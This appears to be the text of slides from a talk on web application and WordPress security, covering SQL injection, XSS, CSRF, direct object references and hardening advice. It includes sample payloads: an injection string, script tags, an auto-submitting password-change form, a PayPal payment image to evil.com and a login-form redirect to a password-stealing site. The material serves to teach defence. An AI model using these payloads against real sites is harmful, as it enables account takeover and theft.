    Protecting Against SQL Injection  Blockinput with special characters  Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 71.
    Protecting Against SQL Injection  Blockinput with special characters  Escape user input  Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
  • 72.
    Other Types ofInjection  NoSQL databases  OS Commands  LDAP Queries  SMTP Headers
  • 73.
    XSS Cross-Site Scripting  Injectingcode into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
  • 74.
    XSS Attack Basics  Rawcode/script is injected onto a page $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT x FROM table'); <?php echo $value ?>
  • 75.
    XSS – Cross-SiteScripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 76.
    XSS – Cross-SiteScripting short.ly Paste a URL here Shorten
  • 77.
    XSS – Cross-SiteScripting short.ly http://www.colinodell.com Shorten
  • 78.
    XSS – Cross-SiteScripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL: http://www.colinodell.com
  • 79.
    XSS – Cross-SiteScripting short.ly Please wait while we redirect you to http://www.colinodell.com
  • 80.
    XSS – Cross-SiteScripting short.ly <script>alert('hello world!');</script> Shorten
  • 81.
    XSS – Cross-SiteScripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X
  • 82.
    XSS – Cross-SiteScripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 83.
    <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> OriginalURL: <a href="…"><script>alert('hello world!');</script></a> </p>
  • 84.
    XSS – Cross-SiteScripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
  • 85.
    XSS – Cross-SiteScripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL:
  • 86.
    XSS – Cross-SiteScripting short.ly Please wait while we redirect you to
  • 87.
    XSS – Cross-SiteScripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php';
  • 88.
    Protecting Against XSS Attacks $value= $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
  • 89.
    Protecting Against XSS Attacks • Filteruser input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
  • 90.
    Protecting Against XSS Attacks • Filteruser input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> &lt;script&gt; htmlspecialchars()
  • 91.
    Protecting Against XSS Attacks • Filteruser input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
  • 92.
    Protecting Against XSS Attacks • Filteruser input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
  • 93.
    CSRF Cross-Site Request Forgery  Executeunwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
  • 94.
    CSRF – Cross-SiteRequest Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 95.
    CSRF – Cross-SiteRequest Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 96.
    CSRF – Cross-SiteRequest Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  • 97.
    CSRF – Cross-SiteRequest Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  • 98.
    CSRF – Cross-SiteRequest Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done!
  • 99.
    CSRF – Cross-SiteRequest Forgery short.ly <img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
  • 100.
    CSRF – Cross-SiteRequest Forgery short.ly Please wait while we redirect you to X
  • 101.
    Protecting Against CSRF Attacks  Userandomized CSRF tokens <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1.Same token? Proceed. 2.Different/missing? Reject the request.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
    Protecting Against Insecure Direct Object References  Checkpermission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
  • 110.
    Protecting Against Insecure Direct Object References  Checkpermission on data input  Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
  • 111.
  • 112.
  • 113.
  • 114.
    Sensitive Data Exposure– composer.lock
  • 115.
    Sensitive Data Exposure– composer.lock
  • 116.
  • 117.
  • 118.
    Private information thatis stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure
  • 119.
    Security Misconfiguration & Componentswith Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (FTP server)
  • 120.
  • 121.
  • 122.
  • 123.
    Protecting Against Sensitive Data Exposure,Security Misconfiguration, and Components with Known Vulnerabilities  Keep software up- to-date • Install critical updates immediately • Install other updates regularly
  • 124.
    Protecting Against Sensitive Data Exposure,Security Misconfiguration, and Components with Known Vulnerabilities  Keep software up- to-date  Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
  • 125.
    Protecting Against Sensitive Data Exposure,Security Misconfiguration, and Components with Known Vulnerabilities  Keep software up- to-date  Keep sensitive data out of web root  Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in- transit • Use strong hashing techniques for passwords
  • 126.
    Protecting Against Sensitive Data Exposure,Security Misconfiguration, and Components with Known Vulnerabilities  Keep software up- to-date  Keep sensitive data out of web root  Use strong encryption  Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
  • 127.
    Next Steps  Testyour own applications for vulnerabilities  Learn more about security & ethical hacking  Enter security competitions (like CtF)  Stay informed
  • 129.
    WordPress Hacks Warning! MassiveNumber of GoDaddy WordPress Blogs Hacked! DreamHost: One Million Domains Hacked; WordPress Blogs Infected WordPress Sites on GoDaddy, Bluehost Hacked Reuters Hacked Again, Outdated WordPress Blog At Fault? InMotion Hosting Servers Hacked, Thousands of Web Sites Affected
  • 130.
    WordPress Hacks History showsthere have been very few “WordPress Hacks” “ In the vast majority of cases I see, attackers get in some other way, and then once already in the system, they go looking for WordPress installs.” -- Mark Jaquith
  • 131.
    If WordPress isn’tthe weak point, what is?
  • 132.
    WordPress Hacks Most hacksthat affect WordPress actually originate outside of WordPress Core. TimThumb (PHP library, many themes/plugins) Uploadify (jQuery plugin, many themes/plugins) Adserve (plugin) WassUp (plugin) Is Human (plugin)
  • 133.
    Shared Hosting Shared hosting?Shared security! Other users on the same server as you can become a security risk that affects you What about your own users? Can you trust everyone who has a login for your site? Really trust them? https://www.tcpiputils.com/reverse-ip http://www.ipneighbour.com/
  • 134.
    How do hackersget in? Known exploits in vulnerable software Brute-force password hacking Network scanners Firesheep Wifi vulnerabilities (WEP/WPA) Automated tools Rootkits
  • 135.
  • 136.
    Three Words Update Core UpdatePlugins Update Themes
  • 137.
    What Else? Hotfix Plugin WPSecurity Scanner Login Lockdown BulletProof Security Sucuri.net
  • 138.
    What Else? Not usinga plugin anymore? Deactivate DELETE! The same goes for themes
  • 139.
  • 140.
    Now What? You canno longer trust any code files Nuke the site, start from trusted, fresh copies Save wp-config.php and wp-content/uploads Reinstall data from backups You do have backups, right? Right?
  • 141.
    What do Iback up? Database Uploaded media (wp-content/uploads) Custom themes and plugins wp-config.php Keep a list of your installed third-party plugins
  • 142.
    How do Iback up? Backup Buddy VaultPress WordPress Backup to Dropbox
  • 143.
    It can happento you It can happen to me It can happen to everyone, eventually -- Yes, It Can Happen, 90125
  • 144.
    Healthy Paranoia Use strongpasswords Two-factor authentication -- Google Authenticator plugin Use separate WordPress logins for publishing day-to-day content and for site administration Limit who can login to your site, and what permissions they have Create temporary accounts for developers, if necessary
  • 145.
    Healthy Paranoia Use secureprotocols: SFTP, SCP, SSH -- not FTP If possible, enforce SSL on WordPress logins and dashboard access Ensure MySQL server is not accessible to other hosts Same goes for memcache (or any other data store)
  • 146.
    Getting help Security ispart of the cost of doing business, like insurance If you don’t know how to do all this, retain the services of someone who does Managed hosting: Page.ly WordPress.com WP Engine Zippykid Cloudways AWS with pre-built WP optimized
  • 147.
    Security for WPDevelopers Settings API, nonces, validation handlers Data escaping functions: esc_*() esc_html() esc_attr() esc_sql() esc_url() & esc_url_raw() esc_js
  • 148.
    Now, SECURE ALLTHE THINGS!
  • 149.